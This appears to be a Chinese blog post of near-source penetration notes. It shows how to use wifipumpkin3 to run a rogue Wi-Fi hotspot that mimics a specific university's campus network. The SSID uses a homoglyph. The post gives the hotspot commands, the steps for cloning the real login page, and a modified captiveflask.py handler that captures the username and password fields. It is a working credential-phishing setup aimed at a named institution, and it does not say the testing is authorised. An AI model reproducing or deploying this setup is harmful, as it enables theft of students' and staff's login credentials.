0%

noone的近源渗透笔记-钓鱼wifi进阶

  • wifipumpkin3 伪造校园网钓鱼

    git clone https://github.com/P0cL4bs/wifipumpkin3.git

    • 简单热点搭建:

      1
      2
      3
      4
      5
      6
      7
      8
      # 设置热点名称
      set ssid [热点名称]
      # 选择网卡
      set interface wlan0
      # 设置代理插件
      set proxy noproxy
      # 启动
      start

      这里把 webportall 改成大写字母 I ,在手机端默认字体下几乎看不出问题

      这样就得到了一个简单的热点

    • captiveflask 强制用户登录

      wifipumpkin3/wifipumpkin3/plugins/captiveflask 中内置了4个登陆页面用于钓鱼,以 DarkLogin.py 为例

      名称网卡均不变,

      1
      2
      3
      4
      # 设置代理插件
      set proxy captiveflask
      # 设置模板
      set captiveflask.DarkLogin true

      可用 proxies 命令看到现在启用的插件和代理

      此时连接wifi则能看到这个很丑陋的登录页面

      输入账密后可以在这里看到

      但这未免太过草率了,有点防范意识的人都不会输入密码

      所幸的是 wifipumpkin3 提供了自定义钓鱼页面的办法

    • 模仿校园网登录页进行钓鱼

      • 处理素材

        我找到了这款插件用于下载网站所有文件

        用这个插件下载的东西需要改一下:

        login.html 中的路径从

        1
        <script src="/zportal/js/jquery-1.11.3.min.js"></script>

        改为

        1
        <script src="js/jquery-1.11.3.min.js"></script>

        则可正确显示

        而在自定义网页中,所有网页位于 wifipumpkin3/config/templates/

        复制一个出来改下名,其中 static 用于存放 css , js , images 等文件夹, templates 仅用于存放 login.htmlloginsuccessful.html

        那么路径应改成

        1
        <script src="../static/js/jquery-1.11.3.min.js"></script>

        就可正确显示

      • 新建文件

        wifipumpkin3/wifipumpkin3/plugins/captiveflask 下存放了每个钓鱼页面的 py 文件,新增的页面需要一个对应文件名的 py 文件,这里直接复制 Darklogin 的,再把里面所有相关字换成 test :

        wifipumpkin3/config/app/captive-portal.ini 新增一行:

      • 修改文件来对应网页的 input 参数

        wifipumpkin3/wifipumpkin3/plugins/bin/captiveflask.py 中这段:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        if (
        request.method == "POST"
        and "login" in request.form
        and "password" in request.form
        ):
        sys.stdout.write(
        str(
        {
        request.remote_addr: {
        "login": request.form["login"],
        "password": request.form["password"],
        }
        }
        )
        )

        其接收着对应界面表单提交的 loginpassword 值,即 Darklogin.html 中的:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        <form method="POST" class="form login">

        <div class="form__field">
        <label for="login__username"><span class="hidden">Username</span></label>
        <input type="text" name="login" class="form__input" placeholder="Username" required>
        </div>

        <div class="form__field">
        <label for="login__password"><span class="hidden">Password</span></label>
        <input type="password" name="password" class="form__input" placeholder="Password" required>
        </div>

        <div class="form__field">
        <input type="submit" value="Sign In">
        </div>

        </form>

        那么看向素材中的html:

        1
        2
        3
        4
        <form id="login_form" action="login/do" method="post">
        <input id="user_name" name="username" type="text" class="login_wbk_a" value="用户名">
        <input id="password" name="pwd" style="display:none;" type="password" class="login_wbk_b" value="密码">
        </form>

        现在需要接收的字段为 usernamepwd,那么修改 captiveflask.py

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("pwd")

        sys.stdout.write(
        str(
        {
        request.remote_addr: {
        "username": username,
        "password": password,
        }
        }
        )
        )

        现在所有已经准备完毕,需要重新编译安装一遍:

        1
        python3 setup.py install

        然后启动

        1
        2
        3
        4
        5
        6
        set interface wlan0
        set ssid webportaI.fjnu.edu.cn
        set proxy captiveflask
        set captiveflask.test true
        proxies
        start

        可以顺利收到

        手机版:

        电脑没截图,差不多就这

        唯一的小问题是不能跳转到登录界面,这个真不是我懒,跳转后需要显示剩余套餐时间什么的,弄起来容易露馅

        以及手机连接到的话是秒跳转,电脑连接后大概1-2分钟才会跳转。。我也不知道为什么

        大概就这了,不知道能不能用得上